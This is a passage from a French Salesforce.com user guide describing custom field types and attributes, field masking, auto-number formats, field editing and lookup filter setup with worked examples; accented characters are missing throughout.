entreprise, contactez salesforce.com..

Zone de texte

Permet aux utilisateurs de saisir jusqu' 255 caractres qui

apparaissent ensuite sur plusieurs lignes, l'instar du contenu
du champ Description.

Zone de texte (longue)

Permet aux utilisateurs de saisir jusqu' 32 000 caractres qui

apparaissent ensuite sur plusieurs lignes, l'instar du contenu
du champ Description. Vous pouvez dfinir une limite
infrieure pour la longueur de ce type de champ, si vous le
souhaitez. Toute longueur comprise entre 256 et
32 000 caractres est autorise. Notez qu' chaque fois que
vous appuyez sur Entre dans une zone de texte longue, un
saut de ligne et un caractre de retour sont ajouts au texte.
Ces deux caractres sont dcompts dans la limite des
32 000 caractres. Ce type de donnes n'est pas disponible
pour des activits ou des produits pour des opportunits.

URL

Permet aux utilisateurs de saisir jusqu' 255 caractres d'une

adresse valide de site Web. Lorsque les utilisateurs cliquent
sur ce champ, l'URL s'ouvre alors dans une fentre de
navigateur distincte. Seuls les 50 premiers caractres sont
affichs sur les pages de dtails des enregistrements.

Voir aussi :
propos des champs rcapitulatifs de cumul

Personnaliser

Guide de l'utilisateur | Cration de champs personnaliss | 397

Attributs de champ personnalis

Voici la description des attributs (par ordre alphabtique) composant une entre de champ personnalis :
Champ

Description

Nombre de lignes visibles

En cas de champs de zone de texte longue, dfinissez le nombre de lignes

afficher dans les pages de modification. Vous pouvez afficher entre 2 et
50 lignes (6 lignes par dfaut). Si le texte est trop volumineux pour le nombre
indiqu de lignes visibles, des barres de dfilement apparaissent. Les champs
de zone de texte longue apparaissent intgralement sur les pages de dtails
et les vues imprimables.

Options de calcul

Option qui dtermine la faon dont un champ rcapitulatif de cumul est

recalcul aprs la modification de ses proprits. Slectionnez Calcul
automatique pour recalculer un champ la prochaine fois qu'il apparatra.
Slectionnez Impose le nouveau calcul de masse de ce champ
comme option de scurit pour imposer un nouveau calcul des valeurs de
champ rcapitulatif de cumul.

Nom de relation enfant

Le nom utilis dans les requtes de relations SOQL API.

Type de donnes

Le type de donnes d'un champ dtermine le type d'informations que celui-ci

contient. Par exemple, un champ dot du type de donnes numrique
contient un entier positif ou ngatif.

Dcimales

Pour les champs Nombre, Devise et Pourcentage, nombre de chiffres pouvant

tre entrs droite de la virgule dcimale, par exemple 4,98 pour 2 dcimales.
En cas de besoin, le systme arrondit les dcimales entres. Par exemple, si
vous entrez 4,986 dans un champ pour lequel le paramtre Dcimales est
dfini sur 2, le nombre est arrondi 4,99.

Valeur par dfaut

Valeur appliquer lorsqu'un utilisateur cre un enregistrement. Pour les

champs personnaliss de case cocher, choisissez Coche ou Non coche
pour indiquer la valeur par dfaut lors de la cration d'enregistrements. Vous
ne devez pas attribuer de valeur par dfaut aux champs la fois obligatoires
et uniques. Vous risqueriez de provoquer des erreurs d'unicit. Reportez-vous
propos des valeurs de champ par dfaut la page 432.

Description

Texte qui dcrit le champ personnalis. Cette description sert uniquement

l'administration et n'affiche pas les utilisateurs sur les pages de dtails et
de modification d'enregistrement qui comprennent le champ.

Format d'affichage

Pour les champs de numrotation automatique, entrez un format

d'affichage pour contrler certains dtails de formatage, comme le
nombre minimal de zros gauche, ainsi que le prfixe ou le suffixe du
numro.
Commencez par entrer les valeurs obligatoires : {0} : pseudo-variable pour
les numros automatiques sans zro gauche. Ajoutez un prfixe votre
numro devant cette pseudo-variable et un suffixe de type texte derrire
cette pseudo-variable. Entrez des prfixes ou des suffixes de date au format

Personnaliser

Champ

Guide de l'utilisateur | Cration de champs personnaliss | 398

Description
suivant : {AA}, {AAAA}, {MM} ou { JJ}, qui reprsentent toujours la date
de cration de l'enregistrement.
Pour plus d'informations sur l'utilisation de formats de numrotation
automatique lors de la saisie du Format d'affichage, reportez-vous
Exemples de format de numrotation automatique la page 401.

ID externe

Pour chaque objet pouvant disposer de champs personnaliss, vous pouvez

dfinir jusqu' trois champs numriques, texte ou d'e-mail personnaliss
comme ID externes. Un champ d'ID externe contient des identificateurs
d'enregistrement uniques issus d'un systme autre que Salesforce.com. Vous
pouvez vous servir de la fonction de recherche du menu latral pour
rechercher des valeurs d'ID externe. Vous pouvez aussi vous servir du champ
de l'API Force.com. Lorsque vous utilisez les assistants d'importation pour
les objets personnaliss et les solutions, ce champ permet d'viter les
doublons.
Remarque: Les champs personnaliss marqus comme tant
uniques entrent en compte dans la limite de trois champs ID
externe d'un objet.

Critres de filtre

Critres utiliss pour slectionner un groupe d'enregistrements afin de

calculer la valeur d'un champ rcapitulatif de cumul.

Formules

Entrez la formule du champ de formule personnalis ou la formule

rcapitulative personnalise des rapports. Pour obtenir une aide sur la
conception de formules, reportez-vous laboration de formules la page
428.

Texte d'aide

Texte qui apparat dans le texte de placement de l'aide au niveau du champ

pour ce champ.

tiquette

Nom du champ personnalis tel que vous souhaitez qu'il apparaisse.

Longueur(champs texte)

Nombre maximal de caractres pouvant tre saisis par un utilisateur dans

un champ texte (255 caractres maximum).

Longueur(champs nombre, devise et

pourcentage)

Pour les champs Nombre, Devise et Pourcentage, nombre de chiffres pouvant

tre entrs la gauche de la virgule dcimale, par exemple 123,98 pour
3 dcimales.

Caractre de masque

Pour les champs texte crypts, il dtermine le caractre utiliser pour les
caractres cachs. Les options disponibles sont * et X.

Type de masque

Pour les champs de texte crypt, il dtermine les caractres masqus et

l'utilisation des tirets dans le champ. Les caractres masqus n'apparaissent
pas si l'on utilise le caractre slectionn dans l'option Caractre de
masque. Les options disponibles sont :
Masquer tous les caractres
Tous les caractres du champ sont masqus.

Personnaliser

Champ

Guide de l'utilisateur | Cration de champs personnaliss | 399

Description
Quatre derniers caractres masqus
Tous les caractres sont masqus sauf les quatre derniers.
Numro de carte de crdit
Les 12 premiers caractres sont masqus ; les quatre derniers
apparaissent. Salesforce.com insre automatiquement un tiret aprs le
quatrime caractre.
Numro d'assurance nationale
Tous les caractres sont masqus. Salesforce.com insre
automatiquement des espaces aprs chaque srie de deux caractres si
le champ en contient neuf. Utilisez cette option pour les champs UK
NINO.
Numro de scurit sociale
Les cinq premiers caractres sont masqus ; les quatre derniers
apparaissent. Salesforce.com insre automatiquement un tiret aprs le
troisime et le cinquime caractre.
Numro d'assurance sociale
Tous les caractres sont masqus sauf les trois derniers. Salesforce.com
insre automatiquement un tiret aprs le troisime et le sixime
caractre.

Objet principal

Objet situ du ct principal d'une relation principal-dtails utilis pour

afficher la valeur d'un champ rcapitulatif de cumul.

tiquette de la liste associe

Pour les champs de relation, titre de la liste associe qui affiche les
enregistrements associs dans l'enregistrement principal.

Associes

Pour les champs de relation, nom de l'objet associ.

Obligatoire

Rend le champ obligatoire partout dans Salesforce.com.

Vous devez spcifier une valeur par dfaut pour les champs personnaliss
de membre de campagne requis.
Vous ne devez pas attribuer de valeur par dfaut aux champs la fois
obligatoires et uniques. Vous risqueriez de provoquer des erreurs d'unicit.
Reportez-vous propos des champs universellement requis la page 468.

Type de cumul

Pour les champs rcapitulatifs de cumul, choisissez le type de calcul

effectuer :
Type

Description

COUNT Calcule le nombre total d'enregistrements associs.

SUM

Calcule les valeurs du champ que vous slectionnez dans l'option

Champ synthtiser. Seuls les champs Nombre, Devise
et Pourcentage sont disponibles.

Personnaliser

Champ

Numro de dbut

Guide de l'utilisateur | Cration de champs personnaliss | 400

Description
Type

Description

MIN

Affiche la valeur la moins leve du champ que vous

slectionnez dans l'option Champ synthtiser pour tous
les enregistrements directement associs. Seuls les champs
Nombre, Devise, Pourcentage, Date et Date/heure sont
disponibles.

MAX

Affiche la valeur la plus leve du champ que vous slectionnez

dans l'option Champ synthtiser pour tous les
enregistrements directement associs. Seuls les champs Nombre,
Devise, Pourcentage, Date et Date/heure sont disponibles.

Pour les champs de numrotation automatique, entrez un numro de

dbut infrieur 1 milliard. Cochez la case Gnrer la numrotation
automatique des enregistrements existants pour numroter
automatiquement tous les enregistrements actuels en commenant par le
numro de dbut saisi. Si vous ne le faites pas, l'enregistrement suivant que
vous saisissez se voit attribuer le numro de dbut, mais les enregistrements
existants n'auront pas de numro. En ce qui concerne les pistes, seules les
pistes non converties se voient attribuer un numro.
Un champ de numrotation automatique peut contenir jusqu' 10 chiffres
et jusqu' 20 caractres supplmentaires pour le prfixe ou le suffixe.

Paramtre de partage

Pour le champ de relation principal-dtails, l'attribut Paramtre de

partage dtermine l'accs au partage dont les utilisateurs doivent disposer
pour un enregistrement principal afin de crer, modifier ou supprimer ses
enregistrements de dtail associs.

Objet synthtis

Objet du ct dtails d'une relation principal-dtails utilis pour fournir les

valeurs calcules dans un champ rcapitulatif de cumul.

Unique

Si elle est coche, cette option vite d'obtenir des valeurs de champ en
double.
Pour les champs texte, vous pouvez contrler si les valeurs qui sont
identiques, l'exception de leur casse, sont considres comme uniques.
Slectionnez Considrer ABC et abc comme des
valeurs en double pour que la fonction d'unicit ne tienne pas compte
de la casse ou Considrer ABC et abc comme des
valeurs diffrentes pour qu'elle en tienne compte.
Remarque: Les champs personnaliss marqus comme tant
uniques entrent en compte dans la limite de trois champs ID
externe d'un objet.

Personnaliser

Guide de l'utilisateur | Cration de champs personnaliss | 401

Champ

Description

Valeurs

Liste des valeurs disponibles pour les champs de liste de slection

(255 caractres maximum pour chaque valeur). Pour les listes de slection,
cochez la case approprie pour classer les entres de la liste de slection par
ordre alphabtique. Vous pouvez galement dfinir la premire valeur comme
slection par dfaut. Si vous cochez les deux cases, Salesforce.com trie d'abord
les entres par ordre alphabtique, puis dfinit la premire entre de la liste
comme valeur par dfaut. Pour les listes de slection multiple, entrez la liste
des valeurs, cochez les options de tri appropries, puis indiquez le nombre
de valeurs afficher simultanment pour dterminer la hauteur de la zone.

Exemples de format de numrotation automatique

Utilisez ces exemples lors de la dfinition du format d'affichage des champs de numrotation automatique.
Format

Valeurs affiches

{0}

3 66 103

{000}

003 066 103

Piste - {00000}

Piste - 00003 Piste - 00666 Piste - 10023

Campagne - {00} {MM} { JJ} {AA}

Campagne - 03 120204 Campagne - 76 030304 Campagne

- 123 110904

N du bon de commande {0} {MM}-{ JJ}-{AA}

N du bon de commande 12233 12-20-04 N du bon de

commande 25 06-07-04 Numro du bon de commande 3
07-07-04

Voir aussi :
Cration d'une relation plusieurs--plusieurs

Modification de champs
Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour crer ou modifier des champs :

Personnaliser l'application

Pour modifier un champ :

1. Pour les objets standard, cliquez sur Configuration Personnalisation, slectionnez l'objet appropri dans le menu
Personnalisation, puis cliquez sur Champs.

Personnaliser

Guide de l'utilisateur | Cration de champs personnaliss | 402

2. Pour les objets personnaliss, cliquez sur Configuration Crer Objets, et slectionnez un objet personnalis dans la
liste.
3. Cliquez sur Modifier en regard du nom du champ.
4. Modifiez les attributs de champ. Les attributs diffrent en fonction du type de champ.
Pour modifier les listes de slection :

Cliquez sur Modifier en regard d'une valeur pour changer le nom, la dfinir en tant que valuer de liste de slection par
dfaut, attribuer une couleur utiliser dans les graphiques ou modifier des informations supplmentaires.
Cliquez sur Suppr en regard d'une valeur pour la supprimer de la liste de slection.
Les listes de slection spciales, telles que l'tape, la Priorit de tche, le Statut de tche, le Statut de
piste et le Statut de requte de l'opportunit, peuvent vous inviter mapper la valeur supprime avec une autre
valeur existante dans tous les enregistrements de votre organisation. Vous pouvez mapper les valeurs ou laisser vos
donnes existantes inchanges.

Cliquez sur Nouveau pour ajouter des valeurs la liste de slection. Si vous utilisez des types d'enregistrement,
slectionnez ceux qui doivent inclure les nouvelles valeurs.
Remarque: Dans un package gr, si le dveloppeur peut ajouter de nouvelles valeurs de liste de slection, elles
sont ajoutes l'organisation abonne lors de l'installation et de la mise niveau.

Cliquez sur Rorganiser pour modifier la squence des valeurs de listes de slection.
Cliquez sur Remplacer pour modifier les valeurs des champs de liste de slection dans les enregistrements existants.
Cliquez sur Vue imprimable pour ouvrir une liste facile imprimer de vos valeurs de liste de slection.
Cliquez sur Couleurs de graphique, puis slectionnez une option afin d'attribuer des couleurs aux valeurs de liste de
slection, utiliser dans les graphiques :
-

Attribuer des couleurs fixes toutes les valeurs permet d'attribuer une couleur fixe chaque valeur partir de la
palette standard des couleurs de graphique. La colonne Couleurs de graphique affiche les couleurs attribues.
Changez manuellement les couleurs attribues en modifiant les valeurs de liste de slection. Par exemple, si vous
souhaitez toujours afficher en rouge les valeurs Close Perdue dans les graphiques groups par tape d'opportunit,
attribuez la couleur rouge cette opportunit.
Attribuer dynamiquement des couleurs aux valeurs permet d'attribuer des couleurs lors de la cration d'un graphique.
La colonne Couleurs de graphique indique Attribu dynamiquement pour toutes les couleurs. Attribuez
des couleurs fixes en modifiant les valeurs de liste de slection. Par exemple, si vous souhaitez afficher uniquement
certaines valeurs de liste de slection avec des couleurs fixes dans les graphiques, attribuez manuellement des couleurs
ces valeurs et laissez les autres attribues dynamiquement .

Les attributions dynamiques sont remplaces chaque fois que vous cliquez sur une option dans Couleurs de graphique.
Remarque: Les couleurs de graphique ne sont pas disponibles pour les listes de slection multiples, les listes
de slection de devise, l'objet Tche, l'objet vnement et les listes de slection Concurrent de l'opportunit.

5. Vous pouvez galement dfinir le texte d'aide personnalise pour le champ.

6. Pour des champs de relations de recherche et principal-dtails, vous pouvez dfinir un filtre de recherche la page 403.
7. Cliquez sur Suivant pour modifier la formule des champs de formule. Reportez-vous laboration de formules la page
428.
8. Cliquez sur Suivant pour dfinir la scurit au niveau du champ dans Enterprise Edition, Unlimited Edition et Developer
Edition. Reportez-vous Configuration de la scurit au niveau du champ la page 182.

Personnaliser

Guide de l'utilisateur | Cration de champs personnaliss | 403

9. Cliquez sur Enregistrer.

Remarque: La modification des champs exige parfois la modification simultane d'un grand nombre d'enregistrements.
Pour traiter efficacement ces modifications, Salesforce.com peut mettre votre demande en attente et vous informer
par e-mail une fois le processus termin.
Pour personnaliser l'affichage de la liste associe de l'objet personnalis sur la page de dtails d'un enregistrement
principal, modifiez la prsentation de page de cet enregistrement. Par exemple, si vous souhaitez modifier les champs
qui apparaissent dans la liste associe d'un objet personnalis sur des comptes, modifiez la prsentation de page des
comptes.
Vous ne pouvez pas modifier le paramtre Nom du champ si un champ personnalis est rfrenc dans un script Apex.

Voir aussi :
Configuration de la scurit au niveau du champ
Options supplmentaires des champs personnaliss
Options supplmentaires pour la mise jour de listes de slection
Observations sur les champs universellement requis
Dfinition des valeurs de champ par dfaut
propos des champs universellement requis
Gestion des champs personnaliss supprims

propos des filtres de recherche

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour grer les filtres de recherche :

Personnaliser l'application

Remarque: Cette version contient une version bta des filtres de recherche de qualit mais inclut des limitations
connues. La principale limitation est l'impossibilit de crer un filtre de recherche dpendant. Cele signifie que vous
ne pouvez pas crer un filtre de recherche qui repose sur des valeurs de l'enregistrement afin de restreindre les valeurs
disponibles dans un champ de recherche. Par exemple, vous ne pouvez pas restreindre les rsultats de recherche du
champ Contact de la requte bas sur le champ Compte.
Pour envoyer un commentaire et des sugestions sur cette fonctionnalit, cliquez sur le lien IdeaExchange dans la
bannire suprieure de la page de modification des filtres de recherche.
Les Filtres de recherche sont des paramtres d'administrateur sur des champs de recherche, des relations principal-dtails et des
relations hirarchiques, qui limitent les valeurs valides ainsi que les rsultats de la bote de dialogue de recherche. Les restrictions
de champ sont bases sur des critres tels que le champ de l'objet de recherche ou du profil de l'utilisateur. Si un utilisateur
tape manuellement une valeur incorrecte dans le champ en modifiant des enregistrements, puis clique sur Enregistrer,
Salesforce.com bloque l'enregistrement et affiche un message d'erreur. Les administrateurs peuvent personnaliser le message
d'erreur.

Personnaliser

Guide de l'utilisateur | Cration de champs personnaliss | 404

Les filtres de recherche amliorent la productivit de l'utilisateur et garantissent la qualit des donnes. Par exemple, limitez
le champ de recherche Nom du compte dans les opportunits afin d'autoriser uniquement les comptes qui contiennent un
type d'enregistrement Client, en excluant les Partenaires et les Concurrents. Si vous avez un champ de relation personnalis
qui rfrence des comptes et que votre organisation possde de nombreux comptes inactifs, vous pouvez galement limiter le
choix des utilisateurs aux comptes actifs.
Chaque objet peut avoir jusqu' cinq filtres de recherche actifs. Vous pouvez ajouter des champs de relation des filtres de
recherche qui pointent vers des comptes, des contacts, des utilisateurs et des objets personnaliss, l'exception des champs
suivants :

Champs de relation dans des activits

Champs systme qui sont toujours en lecture seule, notamment Cr par et Modifi par
Champs de relation qui prennent en charge les files d'attente, notamment Responsable de la requte, Responsable
de la piste et Approbateur dlgu

Limitations bta

Les filtres de recherce limitent les rsultats de la bote de dialogue de recherche et les valeurs valides bases sur des champs
dans l'objet source. Par exemple, vous ne pouvez pas restreindre les rsultats de recherche du champ Contact de la requte
bas sur le champ Compte.
Vous ne pouvez pas dfinir des filtres de recherche dans l'assistant de champ personnalis. Pour ajouter un filtre de recherche
un nouveau champ personnalis, crez le champ, puis modifiez-le afin d'ajouter le critre de filtre.
Les filtres de recherche sont disponibles dans l'API mtadonnes mais ne sont pas disponibles dans la ressource Force.com
IDE.

Les meilleures pratiques

Ajoutez un texte d'aide personnalise au champ afin d'indiquer aux utilisateurs la rgle mtier applique par le filtre de
recherche. Par exemple, Seuls les comptes actifs peuvent tre associs des opportunits.
Personnalisez le message d'erreur du filtre de recherche afin de guider les utilisateurs qui saisissent manuellement des valeurs
incorrectes. Par exemple, La valeur n'existe pas ou ne correspond pas un compte actif.
Utilisez le systme de traduction pour traduire les messages d'erreur personnaliss du filtre de recherche si votre organisation
utilise plusieurs langues.
Utilisez le Profil utilisateur actuel : Nom dans le critre de recherche pour dfinir des critres de filtre
diffrents selon les utilisateurs ou pour permettre aux administrateurs de saisir des valeurs qui ne correspondent pas aux
critres de filtre. Reportez-vous la rubrique Exemples de filtre de recherche la page 408.
Testez les filtres de recherche pour vous assurer qu'ils appliquent votre rgle mtier sans tre trop restrictifs.
Lors de la cration de filtres de recherche, rappelez-vous que certains champs de relation peuvent tre en lecture seule pour
certains profils d'utilisateur. Vrifiez que les filtres de recherche que vous crez n'empchent pas ces utilisateurs de modifier
les enregistrements qui sont essentiels leur fonction.
Les champs non obligatoires, dans les critres de filtre de recherche, peuvent tre vides. Pensez autoriser ou interdire
les valeurs vides. Pour les valeurs vides, utilisez les options avances afin de dfinir les critres d'insertion de valeurs vides.
Par exemple, pour inclure uniquement les employs de votre entreprise dans le champ Adresse e-mail des contacts et
permettre de laisser ce champ vide, utilisez les critres de filtre de recherche suivants :
1. E-mail contient Acme
2. E-mail gal
Laissez vide la valeur de la deuxime ligne des critres, puis dfinissez les conditions de filtre avances sur 1 OU 2.

Personnaliser

Guide de l'utilisateur | Cration de champs personnaliss | 405

Notes sur la mise en uvre

Les critres de filtre peuvent inclure des champs de l'objet de recherche et des objets directement associs l'objet de
recherche (un seul niveau). Par exemple, un filtre de recherche d'un champ de recherche qui pointe vers des contacts peut
rfrencer des champs dans :
-

Chaque champ rfrenc par un filtre de recherche, dans l'objet de recherche associ, est pris en compte dans la limite des
rfrences d'objets croiss de l'objet de recherche, pas de l'objet source. Par exemple, les deux relations uniques prsentes
ci-dessus sont prises en compte dans la limite des rfrences d'objets croiss de l'objet Contact.
Salesforce.com affiche l'icne de l'entonnoir dans la colonne Type de donnes de la page Champs, en regard des champs
de relation qui contiennent un filtre de recherche actif.
Les filtres de recherche crs dans Salesforce.com s'affichent galement dans le portail partenaire et le portail client.
Les filtres de recherche sont sensibles la casse.
Si vous crez un filtre de recherche qui invalide une valeur existante dans ce champ, la valeur persiste. Cependant, lorsqu'un
utilisateur modifie l'enregistrement, Salesforce.com sauvegarde cette modification uniquement si l'utilisateur modifie la
valeur non valide.
Si votre organisation utilise des comptes personnels, notez les points suivants :
-

les comptes associs au contact via le champ de relation Nom du compte ;

les contacts associs au contact via le champ de relation Rattachement hirarchique.

Les critres de filtre de recherche dans Nom du compte s'appliquent uniquement aux comptes professionnels, pas aux
comptes personnels. Par exemple, si votre critre de filtre de recherche est Nom du compte ne contient aucun
livre, les comptes professionnels dont le nom inclut Livre , par exemple Livre d'or, ne sont pas valides, mais les
comptes personnels dont le nom inclut Livre , par exemple Livremont, sont des valeurs valides et s'affichent dans la
bote de dialogue du champ Compte. Pour filtrer un nom dans un compte personnel, utilisez la place les champs
Prnom ou Nom.
Pour limiter les valeurs d'un champ de recherche un type de compte (comptes personnels ou comptes professionnels
uniquement), utilisez le champ Est un compte personnel dans vos critres de filtre de recherche. Par exemple,
pour limiter une recherche aux comptes personnels, insrez les valeurs suivantes dans vos critres de filtre de recherche
: Est un compte personnel gal True.
Vous ne pouvez pas insrer dans un package des filtres de recherche qui rfrencent des champs standard spcifiques
des comptes personnels, par exemple les champs E-mail et Titre.

Lors de la sauvegarde d'un enregistrement, les filtres de recherche fonctionnent de faon similaire aux rgles de validation.
Les actions qui entranent la sauvegarde d'enregistrements associs, telles que les modifications de champs rcapitulatifs
de cumul, dclenchent galement les filtres de recherche dans l'enregistrement associ et bloquent la sauvegarde.
Si vous dfinissez un filtre de recherche dans le champ Responsable, ce filtre s'applique uniquement lors la cration de
l'enregistrement et lors de la modification du Responsable. Il ne s'applique pas lors de la modification de l'enregistrement.
Les versions 16.0 et ultrieures de l'API Salesforce.com prennent en charge les filtres de recherche. Les filtres de recherche
s'appliquent lors du chargement des donnes via l'API.
Dans les champs de devise, les filtres de recherche ne convertissent pas les devises. Par exemple, si votre organisation utilise
des devises multiples et qu'un critre de filtre de recherche correspond Chiffre d'affaires attendu suprieur
100 000, la recherche affiche tous les enregistrements dont le champ Chiffre d'affaires attendu est dfini sur
une valeur suprieure 100 000, quelle que soit la devise.
Vous ne pouvez pas utiliser des valeurs de date spciales, telles que Aujourd'hui ou Mois en cours dans les critres
de filtre de recherche.
Vous ne pouvez pas supprimer des champs rfrencs dans un filtre de recherche actif.
Vous ne pouvez pas modifier le type des champs rfrencs dans un filtre de recherche actif.

Personnaliser

Guide de l'utilisateur | Cration de champs personnaliss | 406

Si vous configurez un filtre de recherche pour afficher uniquement les utilisateurs inactifs, le champ de relation ne contient
aucune option valide, car les utilisateurs inactifs ne sont jamais valides pour les champs de relation qui pointent vers l'objet
Utilisateur.

Voir aussi :
Gestion des filtres de recherche
Exemples de filtres de recherche
propos des formules
laboration de formules
Modification de champs
Oprateurs et fonctions

Gestion des filtres de recherche

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour grer les filtres de recherche :

Personnaliser l'application

Pour grer les filtres de recherche :

Dfinissez des filtres de recherche dans les champs de relation recherche, principal-dtails et hirarchiques, tels que le
champ standard Responsable de l'objet Utilisateur.
Dsactivez les filtres de recherche que vous ne souhaitez pas utiliser, mais qui peuvent tre utiles ultrieurement.
Supprimez les filtres de recherche que vous n'utiliserez jamais.

Dfinition des filtres de recherche

Pour dfinir un filtre de recherche :
1. Accdez la zone de champs de l'objet qui contient le champ de recherche :

Pour les objets standard, cliquez sur Configuration Personnalisation, slectionnez l'objet appropri dans le menu
Personnalisation, puis cliquez sur Champs.
Pour les objets personnaliss, cliquez sur Configuration Crer Objets et slectionnez l'un des objets personnaliss
de la liste.

2. Cliquez sur Modifier en regard du nom du champ de relation recherche ou principal-dtails auquel vous souhaitez appliquer
le filtre.
3. Dans la section Options de filtre de recherche, slectionnez Utiliser un critre de filtre pour restreindre les enregistrements
valides de ce champ.
4. Spcifiez les critres de filtre qu'un enregistrement doit remplir afin d'tre valid comme valeur de ce champ. Pour spcifier
des champs dans les filtres de recherche, cliquez sur l'icne de recherche ou saisissez-les dans la colonne Champ. Si vous
les saisissez dans la colonne Champ, Salesforce.com recherche la liste de champs disponibles et affiche ceux qui correspondent.

Personnaliser

Guide de l'utilisateur | Cration de champs personnaliss | 407

Remarque: La colonne Champ autorise uniquement les champs situs dans l'un des lments suivants :

L'objet de recherche (objet vers lequel pointe le champ de recherche)

Un objet parent de l'objet de recherche
L'enregistrement de l'utilisateur actuel
Le profil de l'utilisateur actuel
Le rle de l'utilisateur actuel

5. Pour spcifier des conditions de filtrage avances, cliquez sur le lien Options avances. Pour plus d'informations,
reportez-vous Utilisation des conditions de filtrage avances la page 1740.
6. Indiquez si vous souhaitez que Salesforce.com affiche le message d'erreur standard ou un message personnalis lorsqu'un
client saisit une valeur incorrecte. Si vous choisissez un message d'erreur personnalis, saisissez-le dans le champ de texte
qui suit cette option.
7. Cliquez sur Enregistrer.
Important: Lors de la cration d'un filtre de recherche dans un champ de relation principal-dtails, vrifiez que les
valeurs actuelles du champ, dans tous les enregistrements de dtails, remplissent les critres que vous spcifiez. Si vous
spcifiez des critres qu'une valeur existante ne remplit pas, Salesforce.com empche l'utilisateur d'enregistrer les
modifications dans l'enregistrement de dtail. Dans ce cas, l'utilisateur doit modifier la valeur de l'enregistrement
principal afin de satisfaire aux critres. Par exemple, supposons qu'un objet personnalis dans un champ de relation
principal-dtails pointe vers des comptes. Si vous dfinissez un filtre de recherche qui exclut tous les comptes dont la
Date de cration est antrieure au 01/01/2009, assurez-vous qu'aucun enregistrement existant de cet objet
personnalis ne possde une relation principal-dtails avec un compte cr avant 2009. Pour vrifier rapidement cette
condition, crez un rapport qui affiche tous les comptes dont la date de cration Date de cration est antrieure
au 01/01/2009.
Dsactivation des filtres de recherche
La dsactivation d'un filtre de recherche prserve sa configuration mais l'empche d'appliquer le champ de relation, l'empche
d'affecter la limite des rfrences d'objet crois et le supprime en tant que dpendance des champs rfrencs dans les critre
de filtre de recherche.
1. Accdez la zone de champs de l'objet qui contient le champ de recherche.
2. Modifiez le champ de relation.
3. Activez la case Tous les enregistrements sont valides et inclus dans cette bote de dialogue de recherche de la section
des options de Filtre de recherche..
4. Cliquez sur Enregistrer.
Suppression de filtres de recherche
La suppression d'un filtre de recherche est dfinitive :
1.
2.
3.
4.

Accdez la zone de champs de l'objet qui contient le champ de recherche.

Modifiez le champ de relation.
Cliquez sur Effacer le critre de filtre.
Activez la case Tous les enregistrements sont valides et inclus dans cette bote de dialogue de recherche.

Personnaliser

Guide de l'utilisateur | Cration de champs personnaliss | 408

5. Cliquez sur Enregistrer.

Voir aussi :
propos des filtres de recherche
Exemples de filtres de recherche
Modification de champs
Fiche de conseils : Cration de filtres de recherche dans des champs de relation

Exemples de filtres de recherche

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour dfinir des filtres de recherche :

Personnaliser l'application

Filtrage des types d'enregistrement

Si la valeur d'un champ de relation doit contenir uniquement des enregistrements d'un type particulier, saisissez le type
d'enregistrement dans un filtre de recherche. Par exemple, si le champ Nom du compte dans les opportunits doit contenir
uniquement des comptes avec un type d'enregistrement personnalis Compte client, dfinissez le filtre de recherche suivant
en limitant les utilisateurs la cration et la modification d'opportunits associes aux comptes dont le type d'enregistrement
est Compte client, excluant ainsi les comptes dont le type d'enregistrement est Compte partenaire et Compte concurrent :
Critres de filtre

Message d'erreur personnalis

1. Type d'enregistrement de compte gal Compte

client
Le compte n'existe pas ou ne correspond pas un compte
client. Cliquez sur l'icne de recherche pour slectionner un
compte valide.

Filtrage des statuts d'enregistrement

Si la valeur d'un champ de relation doit contenir uniquement des enregistrements d'un statut particulier, saisissez le statut dans
un filtre de recherche. Par exemple, supposons que l'objet Demande d'emploi avec un champ de relation pointe sur l'objet
Poste. Si le champ de relation doit avoir uniquement des postes ouverts, dfinissez le filtre de recherche suivant en limitant
les utilisateurs la cration et la modification de demandes d'emploi dont le champ Statut est dfini sur Ouvert :
Critres de filtre
Message d'erreur personnalis

1. Statut gal Ouvert

Le poste n'existe pas ou ne correspond pas un poste ouvert.
Cliquez sur l'icne de recherche pour slectionner un poste
valide.

Personnaliser

Guide de l'utilisateur | Cration de champs personnaliss | 409

Filtrage des profils

Lorsqu'une rgle mtier ne s'applique pas tous les profils d'utilisateur, utilisez les champs de variables globales Profil
utilisateur actuel pour dfinir des filtres de recherche qui affectent uniquement les utilisateurs ayant un profil particulier.
Par exemple, vous pouvez limiter les utilisateurs ayant un profil Ventes domestiques la cration ou la modification de
requtes associes des comptes dont le pays de facturation est France , tout en autorisant les autres utilisateurs associer
des requtes avec n'importe quel compte. Pour cela, dfinissez le filtre de recherche suivant dans le champ Nom du compte
de l'objet Requte :
Critres de filtre

1. Profil utilisateur actuel : Nom gal Ventes

domestiques
2. Pays de facturation gal France
3. Profil utilisateur actuel : Nom diffrent de
Ventes domestiques

Critres avancs

(1 AND 2) OR 3

Message d'erreur personnalis

Le compte n'existe pas ou le pays de facturation du compte

ne se situe pas en France. Les commerciaux domestiques
peuvent crer des requtes uniquement pour des comptes situs
en France. Cliquez sur l'icne de recherche pour slectionner
un compte valide.

Vous pouvez modifier l'exemple ci-dessus afin de limiter simultanment tous les utilisateurs ayant un profil personnalis
Ventes internationales l'association de requtes des comptes dont le pays est diffrent de France :
Critres de filtre

1. Profil utilisateur actuel : Nom gal Ventes

internationales
2. Pays de facturation diffrent de France
3. Profil utilisateur actuel : Nom gal Ventes
domestiques
4. Pays de facturation gal France
5. Profil utilisateur actuel : Nom diffrent de
Ventes internationales, Ventes domestiques

Critres avancs

(1 AND 2) OR (3 AND 4) OR 5

Message d'erreur personnalis

Le compte n'existe pas ou le pays de facturation du compte

ne se situe pas dans votre zone commerciale. Les commerciaux
peuvent crer des requtes uniquement pour des compte situs
dans leur zone commerciale. Cliquez sur l'icne de recherche
pour slectionner un compte valide.

Filtrage des rles

Lorsqu'une rgle mtier ne s'applique pas tous les rles d'utilisateur, utilisez les champs de variables globales Rle de
l'utilisateur actuel pour dfinir des filtres de recherche qui affectent uniquement les utilisateurs ayant un rle particulier.
Par exemple, dans une application de recrutement qui inclut un objet Poste avec un champ de recherche dans un objet
Rmunration globale, vous pouvez empcher les utilisateurs de modifier ou de crer des postes qui comprennent un Rgime
de rmunration des dirigeants, sauf s'ils sont Administrateur excutif ou Vice-prsident. Pour cela, dfinissez le filtre de
recherche suivant dans le champ Nom de la rmunration globale de l'objet Poste :

Personnaliser

Guide de l'utilisateur | Cration de champs personnaliss | 410

Critres de filtre

